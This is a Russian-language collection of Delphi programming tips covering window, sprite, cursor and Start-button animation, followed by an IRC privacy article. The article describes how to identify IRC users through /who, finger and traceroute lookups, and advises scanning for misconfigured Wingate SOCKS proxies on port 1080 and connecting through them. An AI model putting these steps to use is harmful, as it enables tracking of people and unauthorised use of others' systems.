Синтаксисfunction AnimateWindow(hwnd: HWND, dwTime: DWord, dwFlags: DWord);Параметры hwnd - Дескриптор окна, которое анимируется. Вызывающий поток должен владеть этим окном. dwTime - Устанавливает, сколько необходимо времени, чтобы воспроизвести мультипликацию, в миллисекундах. Как правило, воспроизведение мультипликации занимает 200 миллисекунд. dwFlags - Определяет тип мультипликации. Этот параметр может быть одно или несколько нижеследующих значений. Обратите внимание! что, по умолчанию, эти флажки дают желаемый результат при показе окна. Чтобы получать желаемый результат при сокрытии окна, используйте флажок AW_HIDE и логический оператор OR с соответствующими флажками. AW_SLIDE Использует слайдовую анимацию. По умолчанию используется анимационный ролик (прокрутка мультипликации). Этот флажок игнорируется тогда, когда пользуется с флажком AW_CENTER. AW_ACTIVATE Активизирует окно (при показе окна). Не используйте это значение совместно с AW_HIDE. AW_BLEND Использует эффект постепенного изменения прозрачности окна. Этот флажок может быть использован только в том случае, если параметр hwnd - окно верхнего уровня. AW_HIDE Скрывает окно. По умолчанию, окно показывается на экран. AW_CENTER Делает вид окна сжатым в точку, если используется флажок AW_HIDE или раскрытым из точки до полного размера, если флажок AW_HIDE не используется. Различные предписывающие флаги не имеют никакого действия. AW_HOR_POSITIVE Анимирует окно слева направо. Этот флажок может быть использован с роликом или слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND. AW_HOR_NEGATIVE Анимирует окно справа налево. Этот флажок может быть использован с роликом или слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND. AW_VER_POSITIVE Анимирует окно сверху вниз. Этот флажок может быть использованы с роликом или слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND. AW_VER_NEGATIVE Анимирует окно снизу вверх. Этот флажок может быть использован с роликом или слайдом мультипликации. Он игнорируется, когда используется с флажком AW_CENTER или AW_BLEND. Возвращаемые значения Если функция завершается успешно, величина возвращаемого значения - не ноль. Если функция завершается с ошибкой, величина возвращаемого значения - ноль. Функция завершится ошибкой в нижеследующих ситуациях: Если окно использует регион окна. Windows XP: Это обстоятельство не заставляет функцию завершаться ошибкой. Если окно уже видимое, и Вы пробуете выводить на экран окно. Если окно уже скрытое, и Вы пробуете скрыть окно. Если нет заданного направления прокрутки для слайда или ролика. При попытке анимировать дочернее окно с флажком AW_BLEND. Если поток не владеет окном. Обратите внимание! что, в этом случае функция AnimateWindow завершается ошибкой, а GetLastError возвращает значение ERROR_SUCCESS. Чтобы получать расширенные данные об ошибках, вызовите функцию GetLastError. Замечания При использовании слайда или прокрутки мультипликации, Вы должны задать направление. Это может быть или AW_HOR_POSITIVE, AW_HOR_NEGATIVE, AW_VER_POSITIVE, или AW_VER_NEGATIVE. Вы можете комбинировать флажки AW_HOR_POSITIVE или AW_HOR_NEGATIVE с AW_VER_POSITIVE или AW_VER_NEGATIVE, чтобы анимировать окно по диагонали. Оконные процедуры для окна и его дочерних окон должны обрабатывать любое сообщение WM_PRINT или WM_PRINTCLIENT. Диалоговые окна, органы управления и стандартные органы управления уже обрабатывают WM_PRINTCLIENT. Заданная по умолчанию оконная процедура уже обрабатывает WM_PRINT. Если дочернее окно отображается частично отсеченным, когда оно анимируется, то будет иметь дырки, где оно отсечено. AnimateWindow поддерживает окна RTL. Избегайте анимировать окно, которое имеет тень, потому что оно производит видимое спонтанное дерганье мультипликации.
Вот примерчики:
procedure TForm1.FormShow(Sender: TObject); begin AnimateWindow(Handle, 500, AW_CENTER or AW_SLIDE); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin AnimateWindow(handle, 500, AW_BLEND or AW_HIDE); end;
Как анимировать изображение, как пользоваться DXInput.
| У компа есть две функции: в него можно играть, также в него можно не играть! |
Что ж, продолжаем! На этом уроке вы узнаете много нового - как анимировать изображение, как пользоваться DXInput, сколько способов проверять столкновения и где какие лучше употреблять, как поворачивать картинки на разные углы... Перейдем от слов к делу. Первая тема - как анимировать изображения. Возьмем пример из 3-го урока и анимируем саму летающую тарелку. Раньше спрайт был такой -
Мы сделаем его таким:
Откройте Paint - все анимированные спрайты мы будем собирать именно в нем. Кроме этого, возьмем какой-нибудь редактор посерьезнее, умеющий работать с анимированными gif'ами. Я возьму уже известный вам с прошлых уроков Macromedia Fireworks. После чего делаем так - открываем первый кадр, копируем изображение в буфер, вставляем в новй рисунок в Раintе'е. Кстати, размеры рисунка вычисляются так - высота не изменяется, а ширина - ширина анимрованного рисунка х количество кадров. В данном случае формат рисунка - 60х25, в файле 3 кадра. Размер рисунка в Paint'e будет 180х25. Как вы наверное догадались, мы будем создавать этакую киноленту. Спрайт анимированной тарелки в развертке для Delphi будет таким:
Теперь загружаем спрайт в ImageList, и устанавливаем такие свойства:
Раньше мы не трогали PattternWidth и PatternHeight, а теперь установили их в 60 и 25 соответственно. А ведь размеры рисунка 180х25! Дело в том, что эти свойства указывают, какую часть картинки выводить на экран. Будьте очень внимательны, дело в том, что если эти свойства не кратны полным размерам картинки, DelphiX вообще ничего не выведет. Если вы запустите игру теперь, ничего не изменится, анимации не появится, хотя свойства мы и указали. Должен появиться статичный спрайт первого кадра. Просто мы ещё не написали программную часть анимации. Открываем Ttarelka.Create , и дописываем в конец вот такой кусок кода:
AnimCount := Image.PatternCount; AnimLooped := True; AnimSpeed := 2 / 1000; |
Разбираем: AnimLooped - переменная, отвечающая за повторение анимации. AnimCount - не знаю, просто надо выучить, без этого анимация не пойдет, AnimSpeed - скорость прокрутки кадров, чем больше первое число, тем быстрее. Запускаем и видим мигающую тарелку!
Что у нас было дальше - работа с DXInput. Работать с этим компонентом оказалось совсем несложно. Для начала стираем такие события, как Form1.OnKeyDown и Form1.OnKeyUp, ставим на форму DXInput, после двойного щелчка по нему выводится такое окно:
Выбираем раздел Keyboard и видим:
Все просто - в прокручивающемся списке - события, а справа - клавиши, при нажатии на которые эти самые событися происходят. Выбираем для Up, Down, Left и Right в Key 1 соответственно те же самые пункты. Теперь переходим в Ttarelka.DoMove и стираем там все, кроме первых 2-х строчек. Потом вставляем такой код:
if (isLeft in Form1.DXInput1.States) then x:=x-1; if (isRight in Form1.DXInput1.States) then x:=x+1; if (isUp in Form1.DXInput1.States) then y:=y-3; if (isRight in Form1.DXInput1.States) then y:=y+2; y:=y-2; |
Потом в DXTimer.timer вставляем такую строку:
DXInput1.Update; |
Запускаем и видим то же, что и до DXInput, но насколько легче стало писать управление!
Теперь о проверке столкновений. Проверять столкновения можно двумя способами - по столкновению рамок(прямоугольников) и столкновению точек(пикселов). Помните такую строчку - PixelCheck:=True? Если True - проверка по столкновению точек, если False - по столкновению рамок. Надо сказать, что если сталкиваются два анимированных спрайта, по столкновению точек столкновения может просто не быть!
И напоследок, про разворот спрайтов. Для начала скачайте исходник DXSource.pas, модифицированный Владом Энельгартом - он здесь. Этот файл отличается от оригинального только одной процедурой - Angle. Разберемся же, что это такое и с чем его едят. Теперь у каждого спрайта есть свойство Angle - наклон спрайта в градусах, причем, учитывая двоичную систему счисления, в окружности ровно 256 градусов. Перейдем от слов к делу. Возьмите какой-нибудь спрайт космического корабля или ещё чего-либо, что можно повертеть, я возьму известную вам стрелку навигации по сайту http://instrumentari.narod.ru
Сначала подготовим киноленту:
Потом меняем спрайт в классе Ttarelka на эту самую киноленту и ставим размеры кадра 36хЗ6. Затем убираем гравитацию и добавляем новую переменную speed - она у нас будет отвечать за скорость перемещения, теперь клавиши влево-вправо/вверх-вниз будут отвечать соответственно:
Вверх - ускорение Вниз - тормоз Влево - разворот влево Вправо - разворот вправоДалее снова лезем в Ttarelka.DoMove(думаю, незачем менять названия класса) и(который раз!) трем там все, кроме первых двух строчек. Потом пишем такое:
x:=x+cos256(Angle)*speed; y:=y+sin256(Angle)*speed; if (isLeft in Form1.DXInput1.States) then angle:=angle-2; if (isRight in Form1.DXInput1.States) then angle:=angle+2; if (isUp in Form1.DXInput1.States) then speed:=5; if (isDown in Form1.DXInput1.States)and(speed>0) then speed:=speed-1; |
Первые две строчки - меняются координаты спрайта.А дальше идет просто управление. Урок закончен!
P.S. Как обычно, здесь вы можете скачать готовую программу
Анимация без DirectX.
Автор: http://sunsb.dax.ru При попытке изобразить некую анимацию использую только средства TCanvas, на экране получается черте-чего. Все мельтешит, дергается, одним словом - не годится. Для получения " гладкой" ( не мельтешащей ) анимация в программах не использующих DirectX, я обычно использую следующую технику. Узким местом в процессе является момент изменения картинки на экране, поэтому рисование нужно проводить на невидимом для пользователя канвасе, и только подготовив там обновляемые участки выводить их на видимый экран. Для того, чтобы стереть кртинку в том месте где ее уже нет, нужно помнить позицию в которой она была выведена в прошлый раз. Обзовем эту позицию Old: TRect, текущую позицию запомним в New: TRect. TRect я использую, на сучай если размер отображаемой картинки может изменяться. Стандартным подходом является написание двух процедур - Hide и Show, одна из которых прячет картинку в старой позиции, выводя участок фона поверх нее, а вторая выводит в новой позиции. Такой вариант не проходит и приводит к мерцанию изображения. Я предлагаю оставить процедуру Hide в покое, и пользоваться ей только если картинку нужно совсем убрать с экрана. Процедура Show будет выполнять обе нужные функции. Для обновления экрана нам нужно погасить картинку в старой позиции и показать в новой. Тут возможны два варианта. Первый - старый и новый прямоугольники пересекаются. В этом случае мы создаем временный TBItmap - tmp с размером их объединения, заполняем его требуемым участком фона, и рисуем на нем картинку. После такой подготовки выводим tmp в нужной позиции экрана. Второй - старый и новый прямоугольники не пересекаются. В этом случае мы просто копируем прямоугольник old с невидимой копии фона на экран ( процедура Hide ), и рисуем нужную картинку в прямоугольнике new. При таком подходе мы избегаем двойной перерисовки экрана, что исключает мерцание.Ниже программа которая все это делает.
var wsrf: TPaintBox; // видимый экран
var ssrf: TBitmap; // скрытый неизменяемый фон
var bmp : TBitmap; // картинка для анимации
var tmp : TBitmap; // временное хранилище
function hasIntersect( const A,B : TRect): boolean;
var R: trect; // пересекаются ли прямоугольники
begin
result := false;
R.Left := max( A.Left, B.Left );
R.Right := min( A.Right, B.Right );
if R.Left > = R.Right then exit;
R.Top := max( A.Top, B.Top );
R.Bottom:= min( A.Bottom, B.Bottom );
if R.Top > = R.Bottom then exit;
result := true;
end;
function Union( A, B: TRect ):TRect;
begin // результат - объединение
if EmptyRect( A ) then result := B
else if EmptyRect( B ) then result := A
else begin
Result.Left := min( A.Left, B.Left );
Result.Top := min( A.Top, B.Top );
Result.Right := max( A.Right, B.Right );
Result.Bottom:= max( A.Bottom, B.Bottom );
end;
end;
procedure TOneTooth.Hide;
begin
tmp.Width := bmp.Width;
tmp.Height:= bmp.Height;
tmp.Canvas.CopyRect( bmpRect(tmp), ssrf.Canvas, old );
wsrf.Canvas.Draw( old.Left, old.Top, tmp );
end;
procedure TOneTooth.Show;
var R, R1 : TRect;
begin
now.Right := now.Left + bmp.Width ;
//корректировка now на случай
now.Bottom := now.Top + bmp.Height;
//изменения размеров bmp
if hasIntersect( old, now ) then begin
R := Union( old, now );
tmp.Width := R.Right-R.Left;
tmp.Height:= R.Bottom-R.Top;
tmp.Canvas.CopyRect( bmpRect(tmp), ssrf.Canvas, R );
// фон
tmp.Canvas.Draw( now.left-r.left, now.Top-r.top, bmp )
// фон + картинка
end else begin
Hide;
tmp.Canvas.CopyRect( bmpRect(bmp), ssrf.Canvas, now );
// фон
tmp.Canvas.Draw( 0, 0, bmp ); // фон + картинка
R:=now;
end;
wsrf.Canvas.Draw( R.Left, R.Top, tmp );
old := now;
end;
|
Закрыть форму с анимацией.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
var
tutup: Boolean;
i: Integer;
procedure TForm1.Timer1Timer(Sender: TObject);
var
reg1, reg2: hrgn;
begin
if tutup = True then
begin
i := i + 10;
reg1 := CreateRoundRectRgn(0 + i, 0 + i, Width - i, Height - i, 20, 20);
SetWindowRgn(Handle, reg1, True);
end;
if i >= Width then
begin
tutup := False;
i := 1;
end;
if tutup = False then
begin
i := i + 10;
reg1 := CreateRectRgn(0, 0, (Width div 2) - i, Height);
reg2 := CreateRectRgn((Width div 2) + i, 0, Width, Height);
CombineRgn(reg1, reg1, reg2, rgn_or);
SetWindowRgn(Handle, reg1, True);
if i >= Width div 2 then
begin
tutup := True;
i := 1;
end;
end;
end;
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
var
reg1: hrgn;
begin
i := 1;
timer1.Enabled := True;
if MessageDlg('Exit now ?',
mtConfirmation, [mbYes, mbNo], 0) = mrYes then
CanClose := True
else
begin
CanClose := False;
timer1.Enabled := False;
reg1 := CreateRoundRectRgn(0, 0, Width, Height, 0, 0);
SetWindowRgn(Handle, reg1, True);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
tutup := True;
timer1.Enabled := False;
end;
Использование анимированных курсоров 3.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{1.}
procedure TForm1.FormCreate(Sender: TObject);
begin
Screen.Cursors[crMyCursor] := LoadCursorFromFile('c:\mystuff\mycursor.ani');
Cursor := crMyCursor;
end;
{*****************************************************************}
{2.}
{ by Blodgett}
Const
CURSOR_HOURGLASS = 1;
{...}
procedure TForm1.LoadCursors;
var
h : THandle;
begin
if FileExists('..\Images\YourAnimagedCursor.ani') then
begin
h := LoadImage(0,
'..\Images\YourAnimatedCursor.ani',
IMAGE_CURSOR,
0,
0,
LR_DEFAULTSIZE or
LR_LOADFROMFILE);
if h <> 0 then
Screen.Cursors[1] := h;
end;
end;
procedure TForm1.BitBtn1Click(Sender: TObject);
var
FCurrentCursor: Integer;
begin
//1st - Load Cursors Information
LoadCursors;
//2nd - Set FCurrentCursor variable
// to current screen cursor.
FCurrentCursor := Screen.Cursor;
//3rd - Set Screen.Cursor to your CONST Value.
// this is your animated cursor.
Screen.Cursor := CURSOR_HOURGLASS;
//4th - Do something ...
sleep(2000);
//5th - Set Screen.Cursor to original cursor.
Screen.Cursor := FCurrentCursor;
end;
Открытие формы с анимацией.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
procedure Delay(msec: Longint);
var
start, stop: Longint;
begin
start := GetTickCount;
repeat
stop := GetTickCount;
Application.ProcessMessages;
until (stop - start) >= msec;
end;
var
maxx, maxy: Integer;
begin
maxx := form2.Width;
maxy := form2.Height;
form2.Width := 112;
form2.Height := 27;
form2.Left := (Screen.Width - form2.Width) div 2;
form2.Top := (Screen.Height - form2.Height) div 2;
form2.Show;
repeat
if form2.Height + (maxy div 5) >= maxy then
form2.Height := maxy
else
form2.Height := form2.Height + (maxy div 5);
if form2.Width + (maxx div 5) >= maxx then
form2.Width := maxx
else
form2.Width := form2.Width + (maxx div 5);
form2.Left := (Screen.Width - form2.Width) div 2;
form2.Top := (Screen.Height - form2.Height) div 2;
delay(30);
until (form2.Width = maxx) and (form2.Height = maxy);
end;
Анимированная кнопка ПУСК.
Автор: I MD.CIPTAYASA.
Если вы используете приведённый здесь код, ваша кнопка ПУСК будет извиваться как в экстазе. На форму предварительно нужно вынести Image, Timer и две кнопки: CopyPuskBtn и AnimateBtn. Последняя должна быть неактивна изначально. Timer - отключен, его свойство Interval должно быть установлено в оптимальное значение - испытывайте.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, ShellAPI, ExtCtrls, StdCtrls;
const
MAX_BUFFER = 6;
type
TForm1 = class(TForm)
CopyPuskBtn: TButton;
Timer1: TTimer;
AnimateBtn: TButton;
Image1: TImage;
procedure FormCreate(Sender: TObject);
procedure CopyPuskBtnClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure AnimateBtnClick(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
HW: HWND;
DC: HDC;
R: TRect;
FNumber: integer;
Buffer: array [1 .. MAX_BUFFER] of TBitmap;
TrayIcon: TNotifyIconData;
procedure CreateFrames;
procedure DestroyFrames;
procedure BuildFrames;
procedure NotifyIcon(var Msg : TMessage); message WM_USER + 100;
procedure OnMinimizeEvt(Sender : TObject);
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
uses
Math;
{$R *.DFM}
// Создаём буфер для спрайтов
procedure TForm1.CreateFrames;
var
i: integer;
begin
for i := 1 to MAX_BUFFER do
begin
Buffer[i] := TBitmap.Create;
with Buffer[i] do
begin
Height := R.Bottom - R.Top;
Width := R.Right - R.Left;
Canvas.Brush.Color := clBtnFace;
Canvas.Pen.Color := clBtnFace;
Canvas.Rectangle(0, 0, Buffer[i].Width, Buffer[i].Height);
end;
end;
end;
procedure TForm1.DestroyFrames;
var
i: integer;
begin
for i := 1 to MAX_BUFFER do
Buffer[i].Destroy;
end;
// Подготавливает сегменты/спрайты для анимации
procedure TForm1.BuildFrames;
var
i, j, k, H, W: integer;
Y: double;
begin
H := R.Bottom - R.Top;
W := R.Right - R.Left;
Image1.Width := W;
Image1.Height := H;
for i := 1 to MAX_BUFFER-1 do //Буфер [MAX_BUFFER] используется для хранения оригинального битмапа
for j := 1 to W do
for k := 1 to H do
begin
Y := 2 * Sin((j * 360 / W) * (pi / 180) - 20 * i);
Buffer[i].Canvas.Pixels[j, k - Round(Y)] := Buffer[6].Canvas.Pixels[j, k];
end;
end;
procedure TForm1.OnMinimizeEvt(Sender: TObject);
begin
ShowWindow(Application.Handle, SW_HIDE);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
HW := FindWindowEx(FindWindow('Shell_TrayWnd', nil), 0, 'Button', nil);
GetWindowRect(HW, R);
DC := GetWindowDC(HW);
CreateFrames;
FNumber := 1;
TrayIcon.cbSize := SizeOf(TrayIcon);
TrayIcon.Wnd := Form1.Handle;
TrayIcon.uID := 100;
TrayIcon.uFlags := NIF_MESSAGE + NIF_ICON + NIF_TIP;
TrayIcon.uCallbackMessage := WM_USER + 100;
TrayIcon.hIcon := Application.Icon.Handle;
Shell_NotifyIcon(NIM_ADD, @TrayIcon);
Application.OnMinimize := OnMinimizeEvt;
end;
procedure TForm1.NotifyIcon(var Msg : TMessage);
begin
case Msg.LParam of
WM_LBUTTONDBLCLK:
begin
ShowWindow(Application.Handle, SW_SHOW);
Application.Restore;
end;
end;
end;
procedure TForm1.CopyPuskBtnClick(Sender: TObject);
begin
//Получаем изображение оригинальной кнопки, чтобы потом использовать его
//когда анимация завершится
BitBlt(Buffer[MAX_BUFFER].Canvas.Handle, 0, 0, R.Right - R.Left, R.Bottom - R.Top, DC, 0, 0, SRCCOPY);
BuildFrames;
Image1.Canvas.Draw(0, 0, Buffer[MAX_BUFFER]);
AnimateBtn.Enabled := true;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
Timer1.Enabled := false;
BitBlt(DC, 0, 0, R.Right - R.Left, R.Bottom - R.Top, Buffer[MAX_BUFFER].Canvas.Handle, 0, 0, SRCCOPY);
ReleaseDC(HW, DC);
DestroyFrames; // не забудьте сделать это !!!
Shell_NotifyIcon(NIM_DELETE, @TrayIcon);
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
BitBlt(DC, 0, 0, R.Right - R.Left, R.Bottom - R.Top, Buffer[FNumber].Canvas.Handle, 0, 0, SRCCOPY);
Inc(FNumber);
if FNumber > MAX_BUFFER - 1 then
FNumber := 1;
end;
procedure TForm1.AnimateBtnClick(Sender: TObject);
begin
Timer1.Enabled := not Timer1.Enabled;
if not Timer1.Enabled then
begin
BitBlt(DC, 0, 0, R.Right - R.Left, R.Bottom - R.Top, Buffer[MAX_BUFFER].Canvas.Handle, 0, 0, SRCCOPY);
AnimateBtn.Caption := '&Animate';
CopyPuskBtn.Enabled := true;
end
else
begin
AnimateBtn.Caption := '&Stop';
CopyPuskBtn.Enabled := false;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action := caNone;
PostMessage(Form1.Handle, WM_DESTROY, 0, 0);
Application.Terminate;
end;
end.
|
Асинхронная ошибка.
| Если Вы находите ошибки, исправить которые дело долгое и нудное, ничего не делайте - просто внесите их в список особенностей. |
Вопрос: Почему не работает следующий код?
begin
ClietnSocket1.Open;
if ClietnSocket1.Socket.Connected then
ClietnSocket1.Socket.SendText('Hello');
{..}
end;
// Выдает - ассинхронная ошибка.
|
Вы работаете в ассинхронном режиме. Следует использовать соответсвующие события.
Анимированная пиктограмма кнопки.
unit AnibdemoForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, ComCtrls, DdhAnimB;
type
TForm2 = class(TForm)
ImageList1: TImageList;
DdhAniButton1: TDdhAniButton;
Bevel1: TBevel;
CheckBox1: TCheckBox;
Edit1: TEdit;
UpDown1: TUpDown;
procedure DdhAniButton1Click(Sender: TObject);
procedure Edit1Change(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form2: TForm2;
implementation
{$R *.DFM}
procedure TForm2.DdhAniButton1Click(Sender: TObject);
begin
Beep;
end;
procedure TForm2.Edit1Change(Sender: TObject);
begin
DdhAniButton1.Interval := UpDown1.Position;
end;
procedure TForm2.CheckBox1Click(Sender: TObject);
begin
DdhAniButton1.Active := CheckBox1.Checked;
end;
procedure TForm2.FormShow(Sender: TObject);
begin
CheckBox1.Checked := DdhAniButton1.Active;
end;
end.
|
Загрузить исходный код проекта Загрузить библиотеку с компонентами
Анонимность в IRC.
Оформил: DeeCo
Ну кто не знает про IRC, это гениальное изобретение, позволяющее с помощью программы-клиента mIRC, установленной на вашем компьютере, общаться в реальном времени и обмениваться файлами с любым человеком в Интернете! IRC оставила далеко позади себя как неуклюжие сhаt'ы в окне браузера, так и маразматические "комнаты общения" таких онлайновых служб, как AOL и MSN, превосходящие по степени контролируемости, поднадзорности и отсутствия какой бы то ни было анонимности школьные утренники в СССР. IRC настолько популярна, что многие люди проводят в IRC больше времени, чем бродя по WWW. И коль скоро для многих людей это часть жизни, следует подумать и о privacy в этой виртуальной жизни. Вы - дичь Ваша privacy может подвергается опасности в IRC по следующим причинам: 1. Возможность прослушивания того, что вы говорите другому человеку при общении один на один. Здесь все довольно просто: если вы считаете, что обсуждаемый вопрос конфеденциален, не пользуйтесь общением на канале, даже если кроме вас и вашего собеседника на нем никого нет. Не пользуйтесь командой /msg или окном query, что одно и то же. Вся информация проходит через IRC сервер и технически может быть записана. Вместо этого воспользуйтесь DCC (Direct Client to Client). При этом информация будет передаваться вашему собеседнику напрямую, минуя сервер, от которого можно даже отключиться после установления связи по DCC. В принципе, и эту информацию можно расшифровать на любом из узлов, через который установлена связь между вами и вашим собеседником, но это сложно. Если вы хотите быть уверены в полной приватности вашей беседы, воспользуйтесь методами, описанными в главе Защищенный разговор.2. Сбор информации о том, на каких каналах вы находитесь, с последующей идентификацией вашей личности. Допустим, политический деятель, скрывающий свою гомосексуальную ориентацию, часто бывает в IRC. Будучи уверенным в свой анонимности, он частенько заходит на канал #russiangay или #blackleather. Общается с людьми. Вступает в переписку, не называя, понятное дело, своего реального имени. А потом находит все свои письма опубликованными в какой-нибудь вонючей бульварной газетенке типа Московского Комсомольца. Не очень приятно. Но ситуация вполне возможная. О том, как можно собрать информацию о человеке в IRC, рассказано в разделе.
Вы - охотник. Здесь приведем рекомендации, позволяющие снизить риск идентификации вашей личности. Итак, первое. Если вы хотите быть анонимны, не указывайте свой настоящий адрес e-mail в соответствующем поле в Setup. Во-вторых, станьте "невидимы". Это свойство позволяет вам остваться необнаруженным при попытке любого пользователя, не знающего точное написание вашего nick, найти вас в IRC по имени вашего домена или userid (часть вашего e-mail, стоящая перед знаком @), используя команду /who или /names. (см. ниже). Это делается командой /mode $me +i, которая может быть для удобства включена в список команд, автоматически выполняемых при подключении (mIRC Options=>Perform). В последних версиях mIRC 5.** надо просто поставить галочку напротив Invisible Mode в диалоговом окне Setup. Разумеется, если вы подключились к какому-либо каналу, то вы будете видимы для других людей, пока вы будете на этом канале. В-третьих, не давайте свой адрес людям в IRC, в добропорядочности которых вы не уверены. Или, по крайней мере, давайте свой альтернативный адрес. Вот, пожалуй, и все, что можно сделать. А теперь рассмотрим, что и как другие люди в IRC могут о вас узнать (или вы о них). Вы - охотник Оговорюсь, что мы будем исходить из предположения, что имя домена или IP адрес пользователя в IRC подделать очень сложно, и подавляющее большинство людей этим не занимаются, хотя такие методы и есть, и о них можно прочесть ниже. 1. Поиск пользователей по домену, имени, и userid. Довольно мощным средством поиска по какой-либо известной части информации о пользователе (или группе пользователей) является команда /who, о которой почему-то нет ни слова в mIRС'овском Help файле. Странно, правда;) Делая запрос о пользователе командой /whois, мы обычно получаем примерно такой текст:ShowTime ~mouse@ml1_12.linknet.net * May flower ShowTime on #ircbar #newbies ShowTime using Oslo-R.NO.EU.Undernet.org [194.143.8.106] Scandinavia Online AS End of /WHOIS list.Команда /who позволяет задать маску для поиска пользователей по любой части их доменного имени, userid или имени (то, что в поле Real Name). Допустим, мы ищем людей из домена global.de. Синтаксис таков:
/who *global.de*Или ищем всех пользователей из Сингапура:
/who *.sg*Или мы уже общались с господином ShowTime, и хотим найти его опять:
/who *mouse*, или /who *flower*Так же могут найти и вас, если вы не воспользуейтесь командой /mode $me +i, как было описано выше. 2. Определение адреса электронной почты. Задача довольно сложная, но иногда выполнимая. Начнем с "лобовой" атаки. Команда /ctcp ShowTime userinfo (или, проще, через меню) покажет нам e-mail address, указанный самим пользователем. Поскольку мало кто сообщает свой настоящий адрес, надежды на правдивый ответ мало. Если домен полученного адреса совпадает с тем, что следует за знаком @ в ответе, полученном на запрос /whois, то вероятность того, что адрес указан правдивый, повышается. Следущая возможность - использовать информацию, содержащуюся в ответе на запрос /whois. Имя домена подделать крайне сложно, поэтому мы наверняка знаем, что пользователь ShowTime из домена linknet.net. Это первый шаг. Часто вместо буквенной строки после знака @ следует цифровой IP адрес, который по той или иной причине не определился при подключении пользователя к серверу. Его можно попытаться определить командой /DNS ShowTime. Если результат получен, то переходим к следующему абзацу. Если нет, то попробуем еще один способ. Воспользовавшись программой WS Ping32 (50K) или CyberKit (905K), сделаем TraceRoute с указанием цифрового адреса. Программа проследит путь от вашего IP адреса до искомого IP, принадлежащего ShowTime. Последний из определившихся по имени адресов укажет, скорее всего, на имя домена пользователя. Едем дальше. У нас есть либо полное имя, соответствующее IP адресу пользователя под кличкой ShowTime (ml1_12.linknet.net), либо, в худшем случае, только имя домена (linknet.net). В первом случае мы можем попытаться, воспользовавшись командой finger (либо в одной из двух вышеупомянутых программ, либо прямо в mIRC, где есть кнопка Finger прямо на Tool Ваr'е), определить всех текущих пользователей из домена linknet.net. Для этого мы делаем finger адреса @linknet.net (userid не указываем). При удачном стечении обстоятельств мы получим что-нибудь в этом роде:
Trying linknet.net Attempting to finger @linknet.net [linknet.net] Login Name TTY When Where root 0000-Admin console Fri 16:27 henroam John Brown pts/1 Tue 10:57 pckh68.linknet.net pailead Jack White pts/2 Tue 11:03 ml4_17.linknet.net oneguy Michael Lee pts/3 Tue 11:08 ml1_12.linknet.net sirlead6 Joan Jackson pts/4 Tue 11:05 ml4_16.linknet.net End of finger sessionВот он наш ml1_12, принадлежит oneguy@linknet.net. Отметим, что иногда информация в ответ на finger-запрос может быть выдана только пользователю из того же домена, к которому принадлежит адрес, который вы хотите идентифицировать. Решение простое: найдите пользователя из искомого домена (/who *linknet.net* ), и попросите его сделать finger запрос. И в первом, и во втором случае есть еще одна возможность. Если "охотнику" известно реальное имя или фамилия искомого пользователя, можно послать figer-запрос в виде имя@домен или фамилия@домен. Например, finger на John@some.net может нам дать список всех пользователей по имени John с их lоgin'ами. Вот, пожалуй, и все известные автору средства, которые есть у "охотника". А выяснив ваш e-mail адрес, "охотник" может может выяснить и ваше реальное имя. Как? Читайте в разделе Установление личности по известному адресу. К вопросу о маскировке IP адресов Долгий поиск информации на эту тему завершился успехом с любезной помощью Дениса Савельева, единственного читателя, отозвавшегося на мой призыв поделиться знаниями по этой теме. Если оставить в стороне IP spoofing, который весьма сложен и вряд ли осуществим на платформе Windows 95, остаются два способа маскировки реального IP адреса: использование специального прокси сервера, способного поддерживать IRC протокол, и использование SOCKS firewall на неком удаленном хосте. SOCKS В последнее время получила широкое распростанение программа Wingate, которая связывает несколько компьютеров в локальную сеть и позволяет работать с Интернетом через модем. При этом большинство пользователей удовлетворяется настройками "по умолчанию", не подозревая, что эти настройки позволяют любому человеку использовать их SOCKS прокси. Если найти IP адрес, по которому в данный момент расположен компьютер под Wingate, то можно попробовать подсоединиться к IRC, настроив клиент на нужный IP адрес и порт 1080 (в mIRC Setup это в разделе firewall, как показано на иллюстрации). Заметим, что доступ к SOCKS дает не только Wingate, но и многие другие программные продукты, так что не удивляйтесь, если какой-нибудь web-сервер по адресу www.some.net позволяет подключиться к порту 1080. Остается чисто практический вопрос: как найти такой IP адрес. Очевидно, проверять в каком-нибудь диапазоне, причем предположительно богатом пользователями Wingate, все адреса на предмет отклика порта 1080. Инструментарий каждый выбирает сам, благо в сети есть выбор. Один из энтузастов-читателей даже благородно ведет список подобных IP адресов. Его страница находится здесь, так что если искать лень - заходите. Есть также популярная страница Proxys-4-All. Прокси Итак, со всей ответственностью заявляю: IRC прокси серверы существуют и работают, все заверения на сайте Анонимайзера и в newsgroups, посвященных IRC, о том, что протокол IRC не может может работать через прокси, что свой IP адрес скрыть нельзя и т.д. и т.п. являются ПОЛНОЙ ЧУШЬЮ. Вокруг этого вопроса в Интернете какая-то стена молчания, даже и не знаю почему. Ну я ведь молчать не буду: я лично подсоединился к IRCNet через прокси сервер, и на запрос /whois всем гордо отвечал:
mb@some.proxy.in.asia
